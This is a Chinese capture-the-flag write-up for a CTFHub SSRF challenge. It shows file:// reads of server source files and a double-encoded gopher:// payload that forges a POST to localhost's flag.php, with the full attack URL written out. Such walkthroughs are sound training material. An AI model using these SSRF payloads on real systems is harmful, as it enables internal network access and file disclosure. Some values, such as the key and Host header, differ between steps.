CTFHUB SSRF POST小记
这关考察的是gopher伪协议构造post请求;
gopher伪协议总结:SSRF笔记整理-CSDN博客
有很多的细节需要注意
- 格式:gopher://192.168.232.125:80/_+下面url编码后的内容
- 默认访问70端口,访问web时需要改为80端口
- %0A时linux下的换行符,windows下需要改为%0D%0A(小写也行,window不区分大小写)
- gopher伪协议的数据的第一字符不识别;需要用字符填充代替
- POST请求需要一些必须的头部字段
首先进入CTFHUB题目界面;
通过题目知道这是一道POST请求;并且用了curl进行远程资源的请求
访问目标地址发现是空白页面;网页导航栏中有url的参数信息;肯定是有ssrf信息的
通过bp抓取上传包,通过修改url=file:///var/www/html/index.php可以查看index.php的内容;可以看到文件中是通过curl_exec()函数请求远程资源的;curl支持很多的伪协议,http,file,gopher,dict等
通过改变url=file:///var/www/html/flag.php可以查看flag.php的内容;可以发现flag中的内容分为两部分:host地址验证+key值验证;
修改url=http://127.0.0.1/flag.php;发现出现了一个文本框;而且key值也附带了
通过输入123然后进行抓包分析;可以看到post请求包的格式;这里验证的host字段;通过添加X-Forwarded-For字段也是无法绕过的;只能用gopher伪协议
构造gopher伪协议的post请求
必须要有post字段、host字段、文本长度、文本类型、空白行、key值内容
格式和内容如下:
长度要和输入内容数量一致;文本类型需要查看原始post请求中的类型
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=28bcbd94a544c291db4c1dd6204b352e
需要对这段内容进行两次urlencode编码(因为浏览器会自动进行urldecode解析且到达目的地之前需要两次url解码:中转网站解析+目标解析)
在线编码地址:在线Unicode编码转换-Unicode和ASCII在线互转-中文转Unicode工具 (jsons.cn)
将上面的文本复制到加密选项中;加密结果如下
此时需要将其中的%0A全部换成%0D%0A;可以直接手动替换;也可以复制到文本中利用文档替换功能进行替换(ctrl+T);替换完成后再次进行url加密得到目标post内容
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D28bcbd94a544c291db4c1dd6204b352e
构造payload:(key值需要根据实际情况改动)
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff
完整访问url
http://challenge-7bdc76a73ec76e19.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff
可以看到输出了flag
10